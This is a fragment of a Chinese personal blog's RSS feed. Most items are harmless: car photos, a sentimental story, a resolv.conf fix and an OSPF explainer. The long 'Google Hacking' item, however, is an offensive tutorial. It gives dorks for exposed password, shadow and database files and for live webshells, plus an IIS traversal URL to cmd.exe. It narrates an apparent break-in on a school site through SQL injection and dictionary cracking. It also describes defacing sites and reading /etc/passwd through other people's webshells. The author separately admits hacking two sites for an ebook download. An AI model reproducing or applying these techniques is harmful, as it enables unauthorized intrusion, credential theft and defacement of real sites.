<br/>又发现一辆劳斯莱斯,&nbsp;&nbsp;还是敞蓬的!!!! <br/><img src="http://www.ph-ok.com/attachments/month_0904/c2009422144916.JPG" border="0" alt=""/><br/> <br/>仔细一看，停在旁边的是奔驰<br/><img src="http://www.ph-ok.com/attachments/month_0904/12009422144921.JPG" border="0" alt=""/><br/> <br/>奥迪A4敞蓬！第一次见到啊..&nbsp;&nbsp; 啊啊 <br/><img src="http://www.ph-ok.com/attachments/month_0904/o2009422144929.JPG" border="0" alt=""/><br/><br/>而街的对面悄悄停着一辆宝马MINI <br/><img src="http://www.ph-ok.com/attachments/month_0904/p2009422145020.JPG" border="0" alt=""/><br/> <br/>哇，有人开着老爷车来兜风了 <br/><img src="http://www.ph-ok.com/attachments/month_0904/z2009422145124.JPG" border="0" alt=""/><br/> <br/>原来是老爷车队，真拉风，无语 <br/><img src="http://www.ph-ok.com/attachments/month_0904/92009422145132.JPG" border="0" alt=""/><br/> <br/>全是游艇的地中海不再美丽 <br/><img src="http://www.ph-ok.com/attachments/month_0904/m2009422145147.JPG" border="0" alt=""/><br/><br/>........... <br/><br/><br/><br/><br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=30</link>
			<title><![CDATA[8块5毛钱(￥8.50)]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Mon,04 Aug 2008 11:39:01 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=30</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 一天中午，一个捡破烂的妇女，把捡来的破烂物品送到废品收购站卖掉后，骑着三轮车往回走，经过一条无人的小巷时，从小巷的拐角处，猛地窜出一个歹徒来。这歹徒手里拿着一把刀，他用刀抵住妇女的胸部，凶狠的命令妇女将身上的钱全部交出来。妇女吓傻了，站在那儿一动不动。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 歹徒便开始搜身，他从妇女的衣袋里搜出一个塑料袋，塑料袋里包着一沓钞票。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 歹徒拿着那沓钞票，转身就走。这时，那位妇女反应过来，立即扑上前去，劈手夺下了塑料袋。歹徒用刀对着妇女，作势要捅她，威胁她<br/>放手。妇女却双手紧紧地攥住盛钱的袋子，死活不松手。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 妇女一面死死的护住袋子，一面拼命呼救，呼救声惊动了小巷子里的居民，人们闻声赶来，合力逮住了歹徒。 <br/>&nbsp;&nbsp;&nbsp;&nbsp; 众人押着歹徒搀着妇女走进了附近的派出所，一位民警接待了他们。审讯时，歹徒对抢劫一事供认不讳。而那位妇女站在那儿直打哆嗦，脸上冷汗直冒。民警便安慰她：你不必害怕。妇女回答说：我好疼，我的手指被他掰断了。说着抬起右手，人们这才发现，她右手的食指软绵绵的耷拉着。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 宁可手指被掰断也不松手放掉钱袋子，可见那钱袋的数目和分量。民警便打开那包着钞票的塑料袋，顿时，在场的人都惊呆了，那袋子里总共只有8块5毛钱，全是一毛和两毛的零钞。难忘那些一起走过的日子为8块5毛钱，一个断了手指，一个沦为罪犯，真是太不值得了。一时，小城哗然。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 民警迷惘了：是什么力量在支撑着这位妇女，使她能在折断手指的剧痛中仍不放弃这区区的8块5毛钱呢？他决定探个究竟。所以，将妇女送进医院治疗以后，他就尾随在妇女的身后，以期找到问题的答案。但令人惊讶的是，妇女走出医院大门不久，就在一个水果摊儿上挑起了水果，而且挑得那么认真。她用8块5毛钱买了一个梨子、一个苹果、一个橘子、一个香蕉、一节甘蔗、一枚草莓，凡是水果摊儿上有的水果，她每样都挑一个，直到将8块5毛钱花得一分不剩。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 民警吃惊地张大了嘴巴。难道不惜牺牲一根手指才保住的8块5毛钱，竟是为了买一点水果尝尝？<br/>&nbsp;&nbsp;&nbsp;&nbsp; 妇女提了一袋子水果，径直出了城，来到郊外的公墓。民警发现，妇女走到一个僻静处，那里有一座新墓。妇女在新墓前伫立良久，脸上似乎有了欣慰的笑意。然后她将袋子倚着墓碑，喃喃自语：儿啊，妈妈对不起你。妈没本事，没办法治好你的病，竟让你刚13岁时就早早地离开了人世。还记得吗？你临去的时候，妈问你最大的心愿是什么，你说：我从来没吃过完好的水果，要是能吃一个好水果该多好呀。妈愧对你呀，竟连你最后的愿望都不能满足，为了给你治病，家里已经连买一个水果的钱都没有了。可是，孩子，到昨天，妈妈终于将为你治病借下的债都还清了。妈今天又挣了8块5毛钱，孩子，妈可以买到水果了，你看，有橘子、有梨、有苹果，还有香蕉......都是好的。都是妈花钱给你买的完好的水果，一点都没烂，妈一个一个仔细挑过的，你吃吧，孩子，你尝尝吧......<br/><br/><img src="http://www.ph-ok.com/attachments/month_0808/d200884113844.jpg" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=20</link>
			<title><![CDATA[阿加莎.克里斯蒂 侦探小说全集]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Tue,15 Apr 2008 01:59:24 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=20</guid>
		<description><![CDATA[想看阿加莎.克里斯蒂的侦探小说全集,<br/>不得已搞了人家两个站,才搞到她的全集。罪过......，罪过......&nbsp;&nbsp;&nbsp;&nbsp;<br/>有兴趣的朋友也看看吧。<br/><br/><img src="http://www.ph-ok.com/attachments/month_0804/a200841515020.jpg" border="0" alt=""/><br/>阿加莎.克里斯蒂的侦探小说全集<br/><br/><img src="http://www.ph-ok.com/images/download.gif" alt="ļ" style="margin:0px 2px -4px 0px"/> <a href="http://www.ph-ok.com/attachments/month_0804/m200841515217.rar" target="_blank">点击下载此文件</a><br/>MD5：42ef31a2865f0ce89879c1e8ad82f61f<br/>SHA1：1c7bb6301772d17676e2e6edee0501529678dc57]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=19</link>
			<title><![CDATA[FreeBSD/Linux中避免/etc/resolv.conf 被改写的几种解决办法比较]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Wed,09 Apr 2008 10:38:48 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=19</guid>
		<description><![CDATA[最近又遇到 /etc/resolv.conf 会定时被改写掉的问题了，这回是在FreeBSD中！<br/><br/>在 LAN via NAT 或是 PPPoE 的环境中上Internet，我们总得在 resolv.conf 中指定 DNS server，而这里的 DNS server 是通过 DHCP server 自动获取的，如果不能正确获得则需要手动把 ISP 给出的 DNS server 加入。可有时候一些“聪明”的程序总是会跳出来搞些小动作，把我们自己写入的设定换掉，而且还是轮询的，你再改，没有过几分钟就又被改掉。<br/><br/>之前遇到过的情况有（DNS server 抓不对，且会被改写！）：<br/><br/>Ubuntu 6.10 (Edgy) 通过 ppp 拨号时，只抓到 ADSL Modem DHCP server IP. <br/>Ubuntu 7.04 (Feisty) 那个可恶的network-manager程序会定时抓 ADSL Modem DHCP server IP.<br/><br/>VMWare 中的 Guest OS 以 NAT 网络 获取IP的时候，只抓到NAT DHCP server IP. <br/><br/>于是有很多人都跳出来问一个问题：“如何避免 resolv.conf 被修改、改写和覆写等等？“<br/><br/>然而对于＊NIX 这样灵活的系统，解法也有很多，我们一一看来，哪个粗糙，哪个优雅！<br/><br/>解法一：修改 /sbin/dhclient-script，注释掉对 resolv.conf 进行操作的地方.<br/><br/>Linux ： <br/><br/>把 make_resolv_conf 这个函数的调用都给注释掉！<br/><br/>FreeBSD： <br/><br/>把 &gt; resolv.conf 所在的行都给注释掉！<br/><br/>解法二：强制修改 resolv.conf 的文件flag，设定为不可被更改.<br/><br/>Linux： <br/><br/>chattr +i /etc/resolv.conf<br/><br/>FreeBSD： <br/><br/>chflags schg /etc/resolv.conf<br/><br/>解法三：变更DHCP Client的配置文件，在特定的环节追加我们的设定.<br/><br/>Linux (Ubuntu Dist.)：<br/><br/>在 /etc/dhcp3/dhclient.conf 中增加如下设定：prepend domain-name-servers , ;<br/><br/>FreeBSD：<br/><br/>在 /etc/dhclient.conf 中增加如下设定：prepend domain-name-servers , ;<br/><br/>就我自己看来：解法一属于粗糙，解法二属于暴力，解法三才是好办法！<br/><br/>解法三不会变更系统框架，还是原来执行流程。我们只是在默认的prepend环节，多增加prepend的内容，让DHCP Client在得到DNS server信息后，把我们所需要的配置追加在前面。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=16</link>
			<title><![CDATA[像童话一样去学习OSPF原理]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Thu,20 Mar 2008 10:58:26 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=16</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其实你可以把整个网络（一个自治系统AS）看成一个王国，这个王国可以分成几个 区(area)，现在我们来看看区域内的某一个人(你所在的机器root)是怎样得到一张 世界地图(routing table)的。<br/> <br/>　　首先，你得跟你周围的人（同一网段如129.102）建立基本联系。你大叫一声 “我在这！”(发HELLO报文),于是，周围的人知道你的存在，他们也会大叫，这样 你知道周围大概有哪些人，你与他们之间建立了邻居(neighbor)关系，当然，他们 之间也有邻居关系。<br/> <br/>　　在你们这一群人中，最有威望(Priority优先级)的人会被推荐为首领（ Designated Router）首领与你之间是上下级关系(adjacency邻接)，它会与你建立 单线联系，而不许你与其它邻居有过多交往，他会说：“那样做的话，街上太挤了 ”。<br/><br/>　　你只好通过首领来知道更多的消息了，首先，你们互通消息，他告诉你他知 道的所有地图的地名，你也会告诉他你现知道的地名，当然上也许只有你一个点。 (Database Deion数据库描述报文) <br/><br/>　　你发现地名表中有你缺少的或比你新的东西，你会问他要一份更详细的资料 ，他发现你的地名表中有他需要的东西，他也会向你索求新资料。(Link State Request连接状态请求报文) <br/><br/>　　当然，你们毫不犹豫地将一份详细资料发送给对方。(Link State Up&#100;ate连 接状态升级报文) <br/><br/>　　收到地图后，互相致谢表示收到了。(Link State Ack连接状态响应报文) <br/><br/>　　现在，你已经尽你所能得到一份地图（Link State DataBase连接状态数据库 ），你去查找地图把到所有地方的路挑一条最近（shortest path最短路）的，记 为一张表格（routing table路由表），当然以后查这份表格就知道到目的地的一 条最近的路了。地图也要收好，万一表格上的某条路不通了可以通过图去找一条新 的路。<br/><br/>　　其实跟你有联系的，只是周围一群人，外面的消息要通过首领来知道。因为 你的地图是跟首领的一致，我们假设你是首领，你要去画一份世界地图。<br/> <br/>　　你命令所有手下向你通报消息，你可以知道你这一群人的任何一点点小动静 （event事件）。你手下还会有同时属于两群人的家伙（同一区内两网段），他会 告诉你另一群人的地图，当然也会把你们这一群人的地图泄露，(不过，无所谓啦 )。这样，整个区的地图你知道了（对于不知道的那也没办法，我们尽力了）。<br/> <br/>　　通过不停地交换地图，现在，整个区的人都有同样的地图了，住在区边境上 的人义不容辞地把这个区的地图（精确到每一群人）发送到别的区，把别的区信息 发送进来。国王会把这些边境的人命名为骨干（backbone area）。通过骨干人士 的不懈努力，现在，整个国家的地图你都了解得一清二楚了。 <br/><br/>　　有些人“里通外国”（AS Boundary Router自治系统边界路由器） ，他们知 道一些“出国”(AS External route自治系统外部路由)的路，当然他们会把这些 秘密公之与众（import 引入），通过信息的传递，现在，你已经有一张完整的“ 世界地图”了。<br/><br/>　　OSPF是这样标记最短的路的：对于某个目的地，首先，考虑是否有同一区内 部到目的地的路（intra area区域内），如果有，则在其中取一条离你最近的（花 费最小），写进你的表格中,这个目的地可能是到本群体某个人也可能是到其他群 体的，对于经过其他区域的路由，你会不予考虑，跟自己人（同区域）打交道总比 与外人（其他区域）打交道好；如果没有本区的路，你只好通过别的区域了（区域 间），你只要在地图上找最近的就是了；如果你发现目的地在国外，你也只能先把 它标记到你的表格上，期待什么时候王国扩张到那，你就可以把它标记到国内地图 上了。<br/><br/>　　OSPF就是这样，给你一份“世界地图”，并且在上面标记了最短的路，如此 而已罢了。。。<br/><br/><img src="http://www.ph-ok.com/attachments/month_0803/b200832011811.gif" border="0" alt=""/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=23</link>
			<title><![CDATA[Google Hacking.....]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Thu,14 Feb 2008 16:48:21 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=23</guid>
		<description><![CDATA[google hacking其实并算不上什么新东西,当时并没有重视这种技术,认为webshell什么的,并无太大实际用途.google hacking其实并非如此简单... <br/><br/>常用的google关键字： <br/>foo1 foo2 (也就是关联，比如搜索xx公司 xx美女) <br/>operator:foo <br/>filetype:123 类型 <br/>site:foo.com 相对直接看网站更有意思，可以得到许多意外的信息 <br/>intext:foo <br/>intitle: fooltitle 标题哦 <br/>allinurl:foo 搜索xx网站的所有相关连接。（踩点必备） <br/>links:foo 不要说就知道是它的相关链接 <br/>allintilte:foo.com <br/><br/>我们可以辅助&#34;-&#34; &#34;+&#34;来调整搜索的精确程度 <br/><br/>直接搜索密码：(引号表示为精确搜索) <br/>当然我们可以再延伸到上面的结果里进行二次搜索 <br/>&#34;index of&#34; htpasswd / passwd <br/>filetype:xls username password email <br/>&#34;ws_ftp.log&#34; <br/>&#34;config.php&#34; <br/>allinurl:admin mdb <br/>service filetype:pwd ....或者某个比如pcanywh&#101;re的密码后缀cif等 <br/><br/>越来越有意思了，再来点更敏感信息 <br/>&#34;robots.txt&#34; &#34;Disallow:&#34; filetype:txt <br/>inurl:_vti_cnf (FrontPage的关键索引啦，扫描器的CGI库一般都有地) <br/>allinurl: /msadc/Samples/sel&#101;ctor/showcode.asp <br/>/../../../passwd <br/>/examples/jsp/snp/snoop.jsp <br/>phpsysinfo <br/>intitle:index of /admin <br/>intitle:&#34;documetation&#34; <br/>inurl: 5800(vnc的端口)或者desktop port等多个关键字检索 <br/>webmin port 10000 <br/>inurl:/admin/login.asp <br/>intext:Powered by GBook365 <br/>intitle:&#34;php shell*&#34; &#34;Enable stderr&#34; filetype:php 直接搜索到phpwebshell <br/><br/>foo.org filetype:inc <br/><br/>ipsec filetype:conf <br/>intilte:&#34;error occurred&#34; ODBC request wh&#101;re (sel&#101;ct|ins&#101;rt) 说白了就是说，可以直接试着查查数据库检索，针对目前流行的sql注射，会发达哦 <br/>&#34;Dumping data for table&#34; username password <br/>intitle:&#34;Error using Hypernews&#34; <br/>&#34;Server Software&#34; <br/>intitle:&#34;HTTP_USER_AGENT=Googlebot&#34; <br/>&#34;HTTP_USER_ANGET=Googlebot&#34; THS ADMIN <br/>filetype:.doc site:.mil classified 直接搜索军方相关word <br/><br/>检查多个关键字： <br/>intitle:config confixx login password <br/><br/>&#34;mydomain.com&#34; nessus report <br/>&#34;report generated by&#34; <br/>&#34;ipconfig&#34; <br/>&#34;winipconfig&#34; <br/><br/>google缓存利用（hoho，最有影响力的东西）推荐大家搜索时候多&#34;选搜索所有网站&#34; <br/>特别推荐：administrator users 等相关的东西，比如名字，生日等……最惨也可以拿来做字典嘛 <br/><br/><br/><br/>…… <br/><br/>一些技巧集合： <br/><br/>1) index.of.password <br/>1) filetype:blt &#34;buddylist&#34; <br/>2) &#34;access denied for user&#34; &#34;using password&#34; <br/>2) intitle:&#34;index of&#34; inurl:ftp (pub | incoming) <br/>3) &#34;<a href="http://" target="_blank" rel="external">http://</a>*:*@www&#34; domainname <br/>3) filetype:cnf inurl:_vti_pvt access.cnf <br/>4) auth_user_file.txt <br/>4) allinurl:&#34;/*/_vti_pvt/&#34; | allinurl:&#34;/*/_vti_cnf/&#34; <br/>5) The Master List <br/>5) inurl:&#34;install/install.php&#34; <br/>6) allinurl: admin mdb <br/>6) intitle:&#34;welcome.to.squeezebox&#34; <br/>7) passlist.txt (a better way) <br/>7) intext:&#34;&#34;BiTBOARD v2.0&#34; BiTSHiFTERS Bulletin Board&#34; <br/>8) &#34;A syntax error has occurred&#34; filetype:ihtml <br/>8) intitle:Login intext:&#34;RT is ? Copyright&#34; <br/>9) &#34;# -FrontPage-&#34; inurl:service.pwd <br/>9) ext:php program_listing intitle:MythWeb.Program.Listing <br/>10) o&#114;A-00921: unexpected end of SQL command <br/>10) intitle:index.of abyss.conf <br/><br/>NO2: <br/>-------------------------------------------------------------------------------- <br/><br/>google hacking的简单实现 <br/>使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法. <br/>intext: <br/>这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含&#34;动网&#34;的网页.allintext:使用方法和intext类似. <br/><br/>intitle: <br/>和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含&#34;安全天使&#34;的网 <br/><br/>页.同理allintitle:也同intitle类似. <br/><br/>cache: <br/>搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦. <br/><br/>define: <br/>搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义. <br/><br/>filetype: <br/>这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入 <br/><br/>:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:) <br/><br/>info: <br/>查找指定站点的一些基本信息. <br/><br/>inurl: <br/>搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接<a href="http://www.xxx.com/xxx/admin" target="_blank" rel="external">http://www.xxx.com/xxx/admin</a>,用来找管理员登 <br/><br/>陆的URL不错.allinurl也同inurl类似,可指定多个字符. <br/><br/>link: <br/>例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL. <br/><br/>site: <br/>这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL. <br/><br/>对了还有一些*作符也是很有用的: <br/>+ 把google可能忽略的字列如查询范围 <br/>- 把某个字忽略 <br/>~ 同意词 <br/>. 单一的通配符 <br/>* 通配符，可代表多个字母 <br/>&#34;&#34; 精确查询 <br/><br/>下面开始说说实际应用 <br/><br/>以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会 <br/><br/>把一些敏感信息透露给他们.用google搜索以下内容: <br/>intitle:&#34;index of&#34; etc <br/>intitle:&#34;Index of&#34; .sh_history <br/>intitle:&#34;Index of&#34; .bash_history <br/>intitle:&#34;index of&#34; passwd <br/>intitle:&#34;index of&#34; people.lst <br/>intitle:&#34;index of&#34; pwd.db <br/>intitle:&#34;index of&#34; etc/shadow <br/>intitle:&#34;index of&#34; spwd <br/>intitle:&#34;index of&#34; master.passwd <br/>intitle:&#34;index of&#34; htpasswd <br/>&#34;# -FrontPage-&#34; inurl:service.pwd <br/>有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的 <br/><br/>同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点: <br/>intext:ZeroBoard filetype:php <br/>或者使用: <br/>inurl:outlogin.php?_zb_path= site:.jp <br/>来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行*作.我们可以用google搜索存在这样漏洞的程序URL: <br/>intitle:phpmyadmin intext:Cr&#101;ate new database <br/><br/>还<a href="http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir" target="_blank" rel="external">http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir</a>吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。 <br/>allinurl：winnt system32 <br/><br/>前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下: <br/>allinurl:bbs data <br/>filetype:mdb inurl:database <br/>filetype:inc conn <br/>inurl:data filetype:mdb <br/>intitle:&#34;index of&#34; data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台. <br/><br/>利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。 <br/>首先用google先看这个站点的一些基本情况(一些细节部分就略去了): <br/>site:xxxx.com <br/>从返回的信息中，找到几个该校的几个系院的域名： <br/><a href="http://a1.xxxx.com" target="_blank" rel="external">http://a1.xxxx.com</a> <br/><a href="http://a2.xxxx.com" target="_blank" rel="external">http://a2.xxxx.com</a> <br/><a href="http://a3.xxxx.com" target="_blank" rel="external">http://a3.xxxx.com</a> <br/><a href="http://a4.xxxx.com" target="_blank" rel="external">http://a4.xxxx.com</a> <br/>顺便ping了一下，应该是在不同的服务器.学校一般都会有不少好的资料，先看看有什么好东西没 <br/><br/>site:xxxx.com filetype:doc <br/>得到N个不错的doc。 <br/><br/>先找找网站的管理后台地址： <br/>site:xxxx.com intext:管理 <br/>site:xxxx.com inurl:login <br/>site:xxxx.com intitle:管理 <br/>超过获得2个管理后台地址： <br/><a href="http://a2.xxxx.com" target="_blank" rel="external">http://a2.xxxx.com</a>/sys/admin_login.asp <br/><a href="http://a3.xxxx.com" target="_blank" rel="external">http://a3.xxxx.com</a>:88/_admin/login_in.asp <br/><br/>还算不错，看看服务器上跑的是什么程序： <br/>site:a2.xxxx.com filetype:asp <br/>site:a2.xxxx.com filetype:php <br/>site:a2.xxxx.com filetype:aspx <br/>site:a3.xxxx.com filetype:asp <br/>site:....... <br/>...... <br/>a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛 <br/>a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的： <br/>site:a2.xxxx.com intext:<a href="ftp://" target="_blank" rel="external">ftp://</a>*:* <br/>没找到什么有价值的东西。再看看有没有上传一类的漏洞： <br/>site:a2.xxxx.com inurl:file <br/>site:a3.xxxx.com inurl:load <br/>在a2上发现一个上传文件的页面： <br/><a href="http://a2.xxxx.com" target="_blank" rel="external">http://a2.xxxx.com</a>/sys/uploadfile.asp <br/>用IE看了一下，没权限访问。试试注射， <br/>site:a2.xxxx.com filetype:asp <br/>得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，back a shell不太喜 <br/><br/>欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+ <br/><br/>电话一类的变形，用google搞定吧。 <br/>site:xxxx.com //得到N个二级域名 <br/>site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的 <br/>site:xxxx.com intext:电话 //N个电话 <br/>把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去： <br/>name：网站管理员 <br/>pass：a2xxxx7619 //说了吧，就是域名+4个数字 <br/>要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。 <br/><br/>这段时间在国外的一些google hack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠 <br/><br/>个人的灵活思维。国外对于google hack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑 <br/>apache的网管们应该多注意一下这方面，一个intitle:index of就差不多都出来了:) <br/>1.查找利用php webshell <br/><br/>intitle:&#34;php shell*&#34; &#34;Enable stderr&#34; filetype:php <br/><br/>(注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中，你能找到很多直接在机器上执 <br/><br/>行命令的web shell来。如果找到的PHPSHELL不会利用，如果你不熟悉UNIX，可以直接看看LIST，这里就不详细说了，有很多利用价值。要说明 <br/><br/>的是，我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令，都是system调用出来的函数(其实用百度及其他搜索引擎都可以，只是填 <br/><br/>写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了: <br/><br/>echo &#34;召唤&#34; &gt; index.jsp <br/><br/>现在看看首页，已经被我们改成: &#34;召唤&#34; 了。 <br/><br/>我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file &gt; index.html o&#114; echo &#34;&#34; &gt; file <br/><br/>echo &#34;test&#34; &gt;&gt; file <br/><br/>这样一条条打出来，站点首页就成功被替换了。同样的也可以 <br/><br/>uname -a;cat /etc/passwd <br/><br/>不过有点要注意，有些WEBSHELL程序有问题，执行不了的， <br/><br/>2.搜索INC敏感信息 <br/><br/>在google的搜索框中填入: <br/><br/>Code: <br/><br/>.org filetype:inc <br/><br/><img src="http://www.ph-ok.com/attachments/month_0805/g2008521165030.jpg" border="0" alt=""/><br/>]]></description>
		</item>
		
</channel>
</rss>
